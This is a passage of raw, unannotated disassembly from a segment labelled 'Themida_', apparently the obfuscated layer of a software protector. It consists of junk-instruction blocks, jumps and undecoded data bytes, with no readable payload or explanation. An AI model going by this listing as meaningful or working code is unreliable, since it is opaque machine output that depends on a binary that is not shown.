eax, ebx jmp loc_554682 ; --------------------------------------------------------------------------- loc_562109: ; CODE XREF: Themida_:00552B87j and bh, al pop eax jmp loc_5632F6 ; --------------------------------------------------------------------------- db 53h, 54h, 0E9h dd 1FC0h ; --------------------------------------------------------------------------- loc_562118: ; CODE XREF: Themida_:0055D020j not eax push esi jmp loc_55CB19 ; --------------------------------------------------------------------------- aQh db 'Qh^&',0 align 2 dw 2489h dd 24048124h, 4, 55240C8Bh, 0C5815D54h, 4, 0D17E953h, 0EC800000h dd 99F480D0h, 0E99BEB80h, 0FFFFA87Fh ; --------------------------------------------------------------------------- loc_562150: ; CODE XREF: Themida_:00565A7Dj pop ebx jmp loc_555394 ; --------------------------------------------------------------------------- dw 48Bh dd 13F2E924h, 0D0010000h, 5724148Bh, 11E9E789h, 83000000h dd 0CDE904C4h db 0E3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562173: ; CODE XREF: Themida_:00561398j pop ebx shl ch, 2 jmp loc_55A12C ; --------------------------------------------------------------------------- dd 4C781h, 0C7830000h, 243C8704h, 0F4E9565Ch, 81FFFF69h dd 2F6761C7h, 8C8AE927h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56219A: ; CODE XREF: Themida_:0055AE4Dj xor [esp], edi xor edi, [esp] pop esp and eax, edx pop edx or edx, eax shl edx, 1 push dword ptr [edi+24h] push esi jmp loc_56535E ; --------------------------------------------------------------------------- db 8Bh, 3Ch, 24h dd 0FF846CE9h db 0FFh ; --------------------------------------------------------------------------- loc_5621B9: ; CODE XREF: Themida_:00567547j push ebp mov ebp, 4 add eax, ebp pop ebp sub eax, 4 xchg eax, [esp] jmp loc_553FC4 ; --------------------------------------------------------------------------- loc_5621CD: ; CODE XREF: Themida_:0055D0F3j push esi mov esi, 441B55A8h mov edx, 18BECE6h jmp loc_557530 ; --------------------------------------------------------------------------- db 1, 0D7h, 0E9h dd 0FFFF376Eh, 56F6E95Bh, 0E181FFFFh, 271C06F4h, 0FFA0FAE9h db 0FFh ; --------------------------------------------------------------------------- loc_5621F5: ; CODE XREF: Themida_:005620A8j push dword ptr [esp] pop eax push edi mov edi, esp jmp loc_55EA60 ; --------------------------------------------------------------------------- db 56h, 0E9h, 71h db 8, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562207: ; CODE XREF: Themida_:00559FC9j add bl, 30h push edx mov dl, 0AEh sub dl, 63h sub bl, dl pop edx pop ecx add bl, al sub bl, 0B9h push ecx push eax jmp loc_566C20 ; --------------------------------------------------------------------------- dd 8107EBC1h, 0A2DDEEEBh, 5BDE015Ah, 685EF131h, 22DBh dd 0BF243C89h, 6C8F080Fh, 0E941CF87h, 0FFFF70D1h, 0E9028F66h dd 0FFFF05B2h, 0AF58C581h, 0B0E9DF73h, 33FFFF30h, 5FE9243Ch dd 0ACFFFF21h, 5166B104h, 0E828D3B5h, 240C8B66h, 2C481h dd 7CE90000h, 0FF000011h, 6EE93C77h, 89FFFF79h, 68522434h dd 4, 5EE9525Ah db 3, 2 dup(0) ; --------------------------------------------------------------------------- loc_56228F: ; CODE XREF: Themida_:0055D598j push esi push 43B3h mov [esp], esp push 1115h mov [esp], ebp jmp loc_562E10 ; --------------------------------------------------------------------------- db 0B9h, 2, 0 dd 0C7810000h, 47795703h, 0EF81CF01h, 47795703h, 243C8759h dd 429665Ch, 37E99C24h, 0BFFFFF05h, 31020723h, 760C1CBEh dd 5FCE8137h, 0C15F8D50h, 0CE8104EEh, 4CDF028Eh, 30D1F681h dd 0E681052Fh, 49D7285Bh, 73BBA52h, 0D62979D2h, 0FF7324E9h db 0FFh ; --------------------------------------------------------------------------- loc_5622F9: ; CODE XREF: Themida_:00560092j pop edx add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] loc_562309: ; CODE XREF: Themida_:005600A0j ; Themida_:loc_5632A8j push dword ptr [edi+24h] jmp loc_55B325 ; --------------------------------------------------------------------------- loc_562311: ; CODE XREF: Themida_:00565B99j mov esp, [esp] mov [esp], ax jmp loc_55CBD5 ; --------------------------------------------------------------------------- aYhc db 'Yh–*',0 dw 8900h dd 50512404h, 0C188F2B0h, 4CE98058h, 9AEE9h, 29B65200h dd 0F6A4EE80h, 8EEC0D6h, 0FF63E0E9h, 240430FFh, 742AE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56234E: ; CODE XREF: Themida_:00558968j xor edi, 4E8E1458h mov ebp, edi mov edi, [esp] add esp, 4 jmp loc_567902 ; --------------------------------------------------------------------------- db 1, 0C6h, 0FFh dd 87E92434h, 81FFFFB5h, 4C0446C1h, 53E90103h, 0A45869BBh dd 0BDCB816Fh, 0E90BC225h, 0FFFFEF28h ; --------------------------------------------------------------------------- loc_562384: ; CODE XREF: Themida_:0055F499j mov [esp], ecx mov ecx, 4 sub eax, 61631D7Eh sub eax, 14887148h add eax, ecx add eax, 14887148h push ebp mov ebp, 5A6313D5h inc ebp jmp loc_566E81 ; --------------------------------------------------------------------------- db 59h, 50h, 0B8h dd 1CF63435h, 3158C331h, 2769E9DDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5623BA: ; CODE XREF: Themida_:005604CEj sub eax, 4 xchg eax, [esp] pop esp mov [esp], eax mov eax, esp add eax, 4 sub esp, 4 jmp loc_55F617 ; --------------------------------------------------------------------------- loc_5623D8: ; CODE XREF: Themida_:00564DB6j or edi, ecx pop ecx shl edi, 1 push eax mov eax, 329059D5h xor eax, 50480436h add eax, 34F57FC2h inc eax shl eax, 1 not eax add eax, 67D29E8h jmp loc_564EF4 ; --------------------------------------------------------------------------- dd 9D4276B9h, 0AEE94105h, 68FFFF79h, 3159h, 0FF207DE9h dd 4BAFFh, 55E90000h, 0FFFFFF29h, 669D1C77h, 1CD36659h dd 0D3E99C24h db 3, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56242B: ; CODE XREF: Themida_:00560DE4j shl edx, 7 xchg ecx, edx not ecx jmp loc_565ADF ; --------------------------------------------------------------------------- db 0FEh dd 80C6FECEh, 0CE8098C6h, 2460E97Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562446: ; CODE XREF: Themida_:00558B37j add ecx, edx mov edx, [esp] add esp, 4 push ebp push 61AA2D96h pop ebp add ecx, ebp pop ebp sub ecx, 50490061h and eax, ecx mov ecx, [esp] add esp, 4 jmp loc_55EFEA ; --------------------------------------------------------------------------- dw 8B66h dd 5868240Ch, 89000018h, 0E6892434h, 4C681h, 68520000h dd 6BBBh, 50240C89h, 6267168h, 24048B35h, 4C481h, 0E9480000h dd 2B3Dh ; --------------------------------------------------------------------------- loc_5624A0: ; CODE XREF: Themida_:00564908j pop ebp sub eax, edx push ebp mov ebp, 4EFB0F55h add eax, 4C17EB6h jmp loc_561734 ; --------------------------------------------------------------------------- db 83h dd 8A6802C7h, 8900000Bh, 74FF243Ch, 3C8B0424h, 4C48124h dd 8F000000h, 0DAE92404h, 68FFFF7Fh, 35Ch, 0FFCFC1E9h dd 4BE56FFh, 1000000h, 4335EF0h, 24043124h, 0FF953BE9h dd 4B3568FFh, 14890000h, 24048B24h, 0FFAA84E9h, 7822BAFFh dd 0E28112BBh, 25465803h, 0FFC3C8E9h, 34FF58FFh, 8FE95924h dd 0C000002Eh, 0C38002EBh, 5BD888E8h, 0FFCE2AE9h, 0C8B66FFh db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 2 jmp loc_55D67C ; --------------------------------------------------------------------------- loc_562541: ; CODE XREF: Themida_:00555FE3j add bl, 77h sub bl, 6Ah jmp loc_557F56 ; --------------------------------------------------------------------------- dd 0FFFFFFBBh, 5BDE29FFh, 4EC81h, 1C890000h, 16A5BB24h dd 0DE21475Dh, 89564E5Bh, 4C681E6h, 83000000h, 348704EEh dd 14895C24h, 23F3BA24h, 51E95201h, 8BFFFF25h, 0E951243Ch dd 0FFFFD473h, 5E08950h, 4, 0E904E883h, 0FFFF1A15h, 5C24048Fh dd 53242489h, 0FFC1B8E9h, 122568FFh, 2C890000h, 3768E924h dd 1487FFFFh, 34895C24h, 0E95E5424h, 0FFFF9B1Ah, 0BB0F665Ch dd 0E99C2404h, 0FFFF022Eh, 0E9240C89h, 0FFFF4E25h, 0A2E9D528h dd 89000005h, 0FB9240Ch, 911F355Bh, 0FFBBEFE9h, 243481FFh dd 46B26C7Fh, 7FBA525Eh, 3146B26Ch, 148B5AD6h, 0E1DFE924h dd 0C7BAFFFFh, 0E914FC2Eh, 0FFFFDC5Ah ; --------------------------------------------------------------------------- loc_562610: ; CODE XREF: Themida_:0056310Ej sub ebp, 12E62FF2h add edi, ebp pop ebp add edi, 4 xchg edi, [esp] pop esp sub esp, 4 jmp loc_55C356 ; --------------------------------------------------------------------------- dw 0E981h dd 4560337h, 0C181F101h, 4560337h, 21CEE9h, 69B85E00h dd 2D56BB5Eh, 15683311h, 0EE9C829h, 31FFFF8Eh, 3AE92434h dd 89FFFF2Eh, 0ED68241Ch, 5B428704h, 0D5E9C331h db 0F5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56266B: ; CODE XREF: Themida_:0055F3DEj not esi inc esi inc esi sub esi, 0D19811DDh jmp loc_560256 ; --------------------------------------------------------------------------- loc_56267A: ; CODE XREF: Themida_:0055B8EFj push 5BEF0D7Ah pop ebp sub ebp, 53B46B70h add ebp, 6D0593FEh push 0EDFh jmp loc_554A35 ; --------------------------------------------------------------------------- loc_562696: ; CODE XREF: Themida_:00559977j push ebx push esi mov esi, 6B382958h or esi, 3C402F0Fh sub esi, 1 xor esi, 3D3A31FAh inc esi sub esp, 4 mov [esp], esi not dword ptr [esp] pop esi add esi, 96725C64h push esi pop ebx mov esi, [esp] add esp, 4 sub ebx, 0FB02D9Ch push ebx mov ebx, 1C385427h jmp loc_566631 ; --------------------------------------------------------------------------- dd 0D735DD05h, 2434FF0Eh, 0FF5DC8E9h db 0FFh ; --------------------------------------------------------------------------- loc_5626E9: ; CODE XREF: Themida_:0055D8EDj pop edx add ebp, 2 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp xor bx, ax movzx eax, ax push ecx push esp pop ecx add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebx sub esp, 4 jmp loc_561FDD ; --------------------------------------------------------------------------- db 0BEh dd 4, 45E9F329h db 73h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562727: ; CODE XREF: Themida_:0055F23Dj add al, ch sub al, 7Ch push ecx mov cl, 2Eh sub al, 9Ah add al, cl add al, 9Ah mov ecx, [esp] push 4FFFh mov [esp], eax mov eax, esp jmp loc_5666C0 ; --------------------------------------------------------------------------- dw 0D0F7h dd 0E10D4840h, 400FD610h, 6D39FB35h, 8E7D053Fh, 0C50997A4h dd 0E5ED8158h, 216E1FD1h, 4596E9E8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56276A: ; CODE XREF: Themida_:00563BDBj add al, 0E7h add al, ch sub al, 0E7h mov ecx, [esp] add esp, 4 push ebx push esp push dword ptr [esp] pop ebx add esp, 4 sub esp, 4 mov [esp], esi push 159D4737h pop esi not esi push edi mov edi, 159D473Ch add esi, edi pop edi add ebx, esi mov esi, [esp] jmp loc_5592DC ; --------------------------------------------------------------------------- loc_5627A6: ; CODE XREF: Themida_:00559184j add edi, 16E863EBh shl edi, 2 not edi dec edi jmp loc_555BCA ; --------------------------------------------------------------------------- db 2Ch dd 0E95153B6h, 0FFFF90BFh ; --------------------------------------------------------------------------- loc_5627C0: ; CODE XREF: Themida_:0055945Cj mov [esp], eax push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp jmp loc_564F11 ; --------------------------------------------------------------------------- db 1, 0F5h, 8Bh dd 89502434h, 405E0h, 1BE90000h db 42h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5627EB: ; CODE XREF: Themida_:005634ADj mov [esp], ebx push dword ptr [esp] pop esi jmp loc_55419A ; --------------------------------------------------------------------------- loc_5627F7: ; CODE XREF: Themida_:0055B0A1j xor edx, 7F3C3ED3h add eax, edx pop edx push ecx jmp loc_5662F5 ; --------------------------------------------------------------------------- loc_562806: ; CODE XREF: Themida_:005598C2j xchg ebp, [esp] jmp loc_560D75 ; --------------------------------------------------------------------------- dw 8158h dd 0A968CDEBh, 81D3012Dh, 0A968CDC3h, 0FF535A2Dh, 5B042474h dd 5C24048Fh, 8B2434FFh, 0C4832404h, 4EC8104h, 0E9000000h dd 0FFFF8AFAh, 3EF3815Ah, 0E96E9974h, 0FFFF6294h ; --------------------------------------------------------------------------- loc_562848: ; CODE XREF: Themida_:0055459Aj mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_5672C2 ; --------------------------------------------------------------------------- loc_562858: ; CODE XREF: Themida_:00561F79j add edi, edx add edi, 5C616C62h pop edx add edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp xor eax, ebx xor ebx, eax xor eax, ebx sub esp, 4 mov [esp], edx push 3B48h jmp loc_566E17 ; --------------------------------------------------------------------------- dw 815Ch dd 4C5h, 74FF5500h, 34FF0424h, 242C8B24h, 5004C483h, 405E089h dd 5000000h, 4, 5C240487h, 8B24048Fh, 0C5E92424h, 80FFFF24h dd 0D8280AEBh, 81241C8Bh, 4C4h, 81D80000h, 4ECh, 241C8900h dd 0DF04B3B3h, 5266D800h, 14B3E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5628E2: ; CODE XREF: Themida_:005669D6j mov [esp], ebp push edi push edx push 6BDD0119h pop edx push edx not dword ptr [esp] pop edx shr edx, 3 neg edx add edx, 43E364D8h mov edi, edx pop edx dec edi shl edi, 3 jmp loc_565B72 ; --------------------------------------------------------------------------- db 81h, 0C6h, 54h dd 813F9E78h, 74161AC6h, 5B6D689Dh, 1C890000h, 77A6BB24h dd 18681E63h, 89000024h, 0BF243Ch, 8122661Bh, 0A603B5F7h dd 0FBC78140h, 81040A17h, 2FEEEC7h, 6EEF819Eh, 0C1A3F1BFh dd 95E902E7h, 81FFFF41h, 1B7765E5h, 511EE914h, 0EF81FFFFh dd 0F46CE794h, 3C8BFD01h, 4C48124h, 81000000h, 5A17F4EDh dd 0C581453Dh, 42783B2Bh, 5E74C581h, 45E91DFFh db 8Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562983: ; CODE XREF: Themida_:0055BCECj pop dword ptr [esp] pop esp shl eax, cl push 1149h mov [esp], eax push ebx jmp loc_565849 ; --------------------------------------------------------------------------- db 5Dh dd 5CD3E95Eh, 0F231FFFFh, 0E9DAF75Eh, 0FFFF023Ch ; --------------------------------------------------------------------------- loc_5629A8: ; CODE XREF: Themida_:00557C41j xchg ebx, ecx jmp loc_552F06 ; --------------------------------------------------------------------------- db 52h dd offset dword_4B5248+0AAA1h db 0 ; --------------------------------------------------------------------------- loc_5629B5: ; CODE XREF: Themida_:00559A25j neg ebx sub ebx, 6DBB0EA3h jmp loc_560A93 ; --------------------------------------------------------------------------- dw 0C681h dd 7F9A7811h, 87E9E6D1h, 87FFFF79h, 575C240Ch, 0FF790FE9h dd 0E9535FFFh, 0FFFF4FC6h, 8B240487h, 0EC832424h, 242C8904h dd 0CE12C3BDh, 69B8686Ah, 2C890000h, 0A20CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5629FE: ; CODE XREF: Themida_:00564DE0j bt [esp], eax pushf jmp loc_5527FE ; --------------------------------------------------------------------------- loc_562A08: ; CODE XREF: Themida_:005534F1j push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp add eax, ebp push dword ptr [esp] jmp loc_566B0B ; --------------------------------------------------------------------------- db 0C1h dd 0F28102E2h, 744456CCh, 2414F752h, 4DB1E95Ah, 0BA520000h dd 69C44C03h, 17E1C181h, 0D1013E07h, 0E1BB5352h, 893E0717h dd 0D1295BDAh, 4175E95Ah, 0EB81FFFFh, 58103219h, 0C381F301h dd 58103219h, 0FFC565E9h, 4C781FFh, 87000000h, 0E95C243Ch dd 1584h, 0F781DFF7h, 2DE597BAh, 2332C381h, 0FB017564h dd 2332BF57h, 0EB817564h, 7AFF70E1h, 53E9h db 0 ; --------------------------------------------------------------------------- loc_562A91: ; CODE XREF: Themida_:00553A43j xor ecx, edx pop edx mov ebx, ecx mov ecx, [esp] add esp, 4 push ebx neg dword ptr [esp] pop ebx xor ebx, 0F4C7FD09h and eax, ebx mov ebx, [esp] jmp loc_566C4A ; --------------------------------------------------------------------------- dd 5168665Ch, 0C896656h, 50406824h, 14890000h, 5136B224h dd 0FF55F6E9h, 241489FFh, 5CBFB850h, 0B9512AABh, 0E131CBABh dd 0E959CA89h, 0FFFF53DDh, 0C381FB29h, 7AFF70E1h, 2434FF5Fh dd 0E9243C8Bh, 0FFFF27D8h, 0E38882B4h, 24048B66h, 2802C483h dd 241C8BD9h, 3A2BE9h db 0 ; --------------------------------------------------------------------------- loc_562B0D: ; CODE XREF: Themida_:0055B8A7j sub edi, 17182BD7h jmp loc_55DBEE ; --------------------------------------------------------------------------- loc_562B18: ; CODE XREF: Themida_:0055DE31j pop edx push ecx mov ecx, 0E781E3Ch add dword ptr [esp+8], 30BA0909h sub [esp+8], ecx sub dword ptr [esp+8], 30BA0909h pop ecx jmp loc_5544EC ; --------------------------------------------------------------------------- db 55h, 0E9h, 6 dd 81FFFF41h, 0B3716FEFh, 51EF8111h, 313DD6B2h, 243C8BFDh dd 4C481h, 10E90000h, 81FFFFF8h, 51405DF7h, 0D5C7813Bh dd 81787659h, 2125E1C3h, 0DEE95113h, 21FFFF03h, 35485DE8h dd 5D5EFF1Fh, 0FF6144E9h, 56C580FFh, 0FFB448E9h, 4C481FFh dd 87000000h, 0E95C242Ch, 0FFFF1D82h, 240C8B66h, 8904EC83h dd 8B54241Ch, 0C481241Ch, 4, 15B868h, 24148900h, 4BAh dd 5AD30100h, 8904EC83h, 31BD242Ch, 813AA311h, 0A31135F5h dd 8BEB293Ah, 0C481242Ch, 4, 5C241C87h, 0E9241C89h, 0FFFF4863h dd 0C1E5D15Eh, 4E6805E5h, 0E9000008h, 0FFFF1CBDh, 0FB87DBF7h dd 0FB31D7F7h, 0FB31DF31h, 0A08AEB81h, 0C18150E1h, 660C135Ch dd 0E981D901h, 660C135Ch, 83241C8Bh, 0D1F704C4h, 0ABBE981h dd 0B85014CAh, 1FCB35A3h, 0FF05F6E9h, 5A6851FFh, 8900001Eh dd 0B8BB241Ch, 296BCF64h, 5B04245Ch, 64B80558h, 0C8B6BCFh dd 4C48324h, 75ECEB81h, 0C32926D6h, 75ECC381h, 34FF26D6h dd 89515824h, 4C181E1h, 0E9000000h, 0FFFF2D2Ch, 835AD001h dd 0FF5004C0h, 58042474h, 5C24048Fh, 8B243C87h, 21662424h dd 0E99C2404h, 0FFFFE347h, 148BD301h, 4C48124h, 1000000h dd 0B5D7E9D9h, 0C581FFFFh, 434C263Ah, 0FFE06FE9h, 24248BFFh dd 4D47E9h, 0F7DBF700h, 0ADF381DBh, 814BC711h, 643C6CF3h dd 0E9DF311Eh, 0FFFFE5F1h, 405h, 4C08300h, 5C240487h, 286F885Bh dd 83240C8Bh, 1BE904C4h, 88FFFEFBh, 0DC6859CCh, 8900003Ch dd 82B3241Ch, 2FE9DC28h, 51FFFF45h, 0ADE98CB1h, 0E9FFFF8Bh dd 0FFFEFAFAh, 24048B5Eh, 0FF527BE9h, 0E9575BFFh, 0FFFFF215h ; --------------------------------------------------------------------------- loc_562D14: ; CODE XREF: Themida_:00557F51j mov esi, [esp] jmp loc_55F40C ; --------------------------------------------------------------------------- dd 8363102Dh, 17E94014h, 0B7FFFF48h, 8EFC0E2h, 0EF80DFF6h dd 0B6526681h, 66F7306Dh, 27C7805Ah, 1C8BFC08h, 0E6895624h dd 4C681h, 0C6830000h, 24343304h, 33243431h, 5CE92434h db 55h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562D5B: ; CODE XREF: Themida_:005589FFj mov [esp], ecx push edx mov dl, 50h sub esp, 4 mov [esp], ebx push eax mov ah, 20h jmp loc_567262 ; --------------------------------------------------------------------------- db 5Ch dd 0A827E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562D76: ; CODE XREF: Themida_:0055D4A3j mov edi, 0BFD95B7Fh xor ebp, edi mov edi, [esp] jmp loc_55EC83 ; --------------------------------------------------------------------------- db 29h, 0C8h, 81h dd 4ECh, 0CD4BE900h, 0EC81FFFFh, 4, 0FF243489h, 0E95E240Ch dd 0FFFFE023h ; --------------------------------------------------------------------------- loc_562DA4: ; CODE XREF: Themida_:0055E2B5j not ecx sub ecx, 316D2C1Fh jmp loc_564815 ; --------------------------------------------------------------------------- loc_562DB1: ; CODE XREF: Themida_:00557BEAj xor [esp], eax xor eax, [esp] xor [esp], eax push eax push ecx mov eax, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_560369 ; --------------------------------------------------------------------------- db 83h dd 48704C0h, 21EE924h, 3C8B0000h, 0E3895324h, 4C381h, 0C3810000h dd 4, 5C241C87h, 4C781h, 0B8500000h, 4, 48BC701h, 4C48324h dd 0E9243C87h, 0FFFF3C04h ; --------------------------------------------------------------------------- loc_562E10: ; CODE XREF: Themida_:005622A0j mov ebp, 4 sub dword ptr [esp+4], 7AA91B1Ah jmp loc_554958 ; --------------------------------------------------------------------------- loc_562E22: ; CODE XREF: Themida_:0055866Cj push 2074h mov [esp], ebp mov ebp, 4 jmp loc_55A9F9 ; --------------------------------------------------------------------------- dd 4240483h, 8B2434FFh, 78E92414h db 0A7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562E43: ; CODE XREF: Themida_:0055C3ECj push dword ptr [esp] mov edi, [esp] jmp loc_5550D6 ; --------------------------------------------------------------------------- dw 2859h dd 595B66D8h, 0FFE62DE9h, 4BBFFh, 64E90000h, 68FFFF06h dd 6350086Bh, 0FF71B8E9h db 0FFh ; --------------------------------------------------------------------------- loc_562E6D: ; CODE XREF: Themida_:0055C035j mov edi, 45C617F8h mov edx, edi mov edi, [esp] add esp, 4 jmp loc_553311 ; --------------------------------------------------------------------------- db 8Bh dd 0C483240Ch, 59CB8904h, 8BDD315Dh, 0C483241Ch, 5DE83104h dd 232168h, 24148900h, 0FF52B4E9h, 3C8B54FFh, 4C48324h dd 2011B850h, 0D0F7003Fh, 0FFBE38E9h, 53D831FFh, 81FAA568h dd 241C8B18h, 5704C483h, 0C02248BFh, 0B72EE925h, 535AFFFFh dd 146E81BBh, 86EE960h, 0E958FFFFh, 0FFFF9FDEh, 0B8240489h dd 6262483Ch, 8758C201h, 87D6F7F2h, 79CA81F2h, 504A7922h dd 0FF19C6E9h, 88E688FFh, 24148BF3h, 81E18951h, 4C1h, 4C18300h dd 5C240C87h, 0CC96E958h, 0EA01FFFFh, 4C2835Dh, 0E9241433h dd 2301h ; --------------------------------------------------------------------------- loc_562F28: ; CODE XREF: Themida_:00563C00j push esi jmp loc_56147C ; --------------------------------------------------------------------------- dw 0C681h dd 4, 52685553h, 8B4A2F4Ah, 38E9242Ch, 68000043h, 6C94h dd 83242489h, 8B042404h, 0C4812434h, 4, 4B951h, 0CE010000h dd 83240C8Bh, 0C68104C4h, 4, 0E9243487h, 0FFFF906Ah ; --------------------------------------------------------------------------- loc_562F74: ; CODE XREF: Themida_:0055EB3Ej add edx, ecx push dword ptr [esp] pop ecx add esp, 4 push edi push eax jmp loc_55625E ; --------------------------------------------------------------------------- db 56h dd 0FFF78EE9h, 0C4815DFFh, 4, 2224E9h, 242C8900h, 0BF166668h dd 2434FF22h, 83242C8Bh, 0C48104C4h, 4, 0FF24CBE9h db 0FFh ; --------------------------------------------------------------------------- loc_562FB5: ; CODE XREF: Themida_:00561C88j mov eax, esp push 5759h mov [esp], ecx mov ecx, 4 sub eax, 14F43DE1h add eax, ecx add eax, 14F43DE1h push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_55F5B7 ; --------------------------------------------------------------------------- db 66h, 51h, 0B1h dd 0A2F1E96Bh, 0EB81FFFFh, 30DF776Dh, 2BB5F381h, 0E95667D8h dd 0FFFF9575h, 24048F5Ch, 8324248Bh, 43104C4h, 0EFE99C24h db 0F7h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56300F: ; CODE XREF: Themida_:005582FDj xor edi, ebp push dword ptr [esp] mov ebp, [esp] push ebx jmp loc_55AF37 ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 8DCE9h, 81E28900h, 4C2h, 4C28100h, 87000000h, 8B5C2414h dd 0C4812434h, 4, 0FFED44E9h, 48A1BEFFh, 19E92B23h, 81FFFF45h dd 4C4h, 40D0F700h, 4805E8C1h, 0FF196AE9h db 0FFh ; --------------------------------------------------------------------------- loc_563061: ; CODE XREF: Themida_:005630DCj pop esi push 2D23h mov [esp], esi sub esp, 4 mov [esp], ebx push 7F3A329Ah push dword ptr [esp] pop ebx add esp, 4 xchg esi, ebx xchg ecx, esi not ecx xchg ecx, esi xchg esi, ebx push esi push ebx push 301D0209h pop ebx jmp loc_55E95A ; --------------------------------------------------------------------------- db 81h, 0EEh, 0FFh dd 171CE30h, 0FFC681D6h, 0FF71CE30h, 835A2434h, 685604C4h dd 218Bh, 0BF243C89h, 13385C33h, 3BFBE9h, 80CA2800h, 0E95935EAh dd 0FFFF9FD9h ; --------------------------------------------------------------------------- loc_5630CC: ; CODE XREF: Themida_:0055D4FBj mov edi, edx jmp loc_55D639 ; --------------------------------------------------------------------------- loc_5630D3: ; CODE XREF: Themida_:0056126Ej mov ebp, [esp] add esp, 4 jmp loc_563061 ; --------------------------------------------------------------------------- db 59h, 0E9h, 2 dd 0C1FFFEFDh, 0BA5208E3h, 6B0455D5h, 0FFD451E9h db 0FFh ; --------------------------------------------------------------------------- loc_5630F5: ; CODE XREF: Themida_:00557D45j dec edx xchg eax, edx jmp loc_5545B7 ; --------------------------------------------------------------------------- loc_5630FC: ; CODE XREF: Themida_:00559F9Dj sub edx, 4 xchg edx, [esp] pop esp mov [esp], edi push esp pop edi push ebp mov ebp, 12E62FF6h jmp loc_562610 ; --------------------------------------------------------------------------- db 83h dd 0D80104C4h, 2404875Bh, 4EC835Ch, 0BE243489h, 546504Ch dd 0FFAB2EE9h db 0FFh ; --------------------------------------------------------------------------- loc_56312D: ; CODE XREF: Themida_:0055FB5Bj pop ebx jmp loc_557766 ; --------------------------------------------------------------------------- loc_563133: ; CODE XREF: Themida_:00555ADBj add bl, cl pop ecx sub bl, cl sub bl, 78h pop ecx jmp loc_559406 ; --------------------------------------------------------------------------- db 5Ah, 83h, 0C4h dd 0E2895204h, 4C281h, 0C2830000h, 24148704h, 6C2C685Ch dd 14890000h, 68E28924h, 6AD4h, 0E9241C89h, 0FFFF6E77h ; --------------------------------------------------------------------------- loc_56316C: ; CODE XREF: Themida_:0055AB34j xchg esi, [esp] mov esp, [esp] and ecx, esi push dword ptr [esp] mov esi, [esp] sub esp, 4 mov [esp], ebp mov ebp, esp jmp loc_567985 ; --------------------------------------------------------------------------- dw 668h dd 89000073h, 61E9240Ch, 8900001Ch, 2BB62414h, 0F63FC680h dd 0A4E680D6h, 0FFFFE1E9h db 0FFh ; --------------------------------------------------------------------------- loc_5631A9: ; CODE XREF: Themida_:00556857j push ecx mov ecx, 4 add eax, ecx pop ecx push edi jmp loc_55995D ; --------------------------------------------------------------------------- dd 0FB41E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5631BE: ; CODE XREF: Themida_:0055ED4Bj mov esp, [esp] jmp loc_55A568 ; --------------------------------------------------------------------------- dw 77FFh dd 19589D1Ch, 0E99C2404h, 0FFFEF62Ah, 5A14EC35h, 58C189F9h dd 0FFE668E9h, 0C8B66FFh, 0BFE95724h, 29000032h, 0B4EE81CEh dd 0E9540E36h, 3B33h, 58C2315Ah, 1DE9D389h, 89FFFF06h dd 0EA815FF8h, 47E40AC8h, 2B74E9h, 0AABB5300h, 914B077h dd 18355BD8h, 0E90A7FE2h, 0FFFF4F82h, 4EC81h, 43E90000h db 26h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56322F: ; CODE XREF: Themida_:0056758Bj mov [esp], edx mov dl, 0E2h jmp loc_56187C ; --------------------------------------------------------------------------- loc_563239: ; CODE XREF: Themida_:00556BE6j add ecx, 4 xor ecx, [esp] xor [esp], ecx jmp loc_563917 ; --------------------------------------------------------------------------- loc_563247: ; CODE XREF: Themida_:0055A898j xor dh, ch pop ecx jmp loc_558D72 ; --------------------------------------------------------------------------- db 8Bh dd 8FE9243Ch, 68FFFF07h, 202Fh, 16D2E9h db 0 ; --------------------------------------------------------------------------- loc_563261: ; CODE XREF: Themida_:00558750j xor ebx, [esp] mov esp, [esp] or eax, eax jmp loc_564AB4 ; --------------------------------------------------------------------------- loc_56326E: ; CODE XREF: Themida_:00553317j add edx, 8137E8h xor edx, 57E457E4h neg edx jmp loc_5540F4 ; --------------------------------------------------------------------------- db 81h, 0E7h, 3Dh dd 812AEC43h, 0EC7AA2C7h, 5FF909D8h, 8904EC83h, 5168241Ch dd 0E9000001h, 0FFFF2282h, 0E9240433h, 0FFFFAB68h ; --------------------------------------------------------------------------- loc_5632A8: ; CODE XREF: Themida_:0056542Ej jnz loc_562309 push 1 push dword ptr [esp] push dword ptr [esp] jmp loc_561C86 ; --------------------------------------------------------------------------- dw 0EA80h dd 0FEE953CCh db 2Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5632C7: ; CODE XREF: Themida_:00558583j pop bx mov cl, dh pop edx add al, 83h add al, cl sub al, 83h mov cx, [esp] jmp loc_5530F8 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFEF51Eh, 8B2434FFh, 0C4832404h, 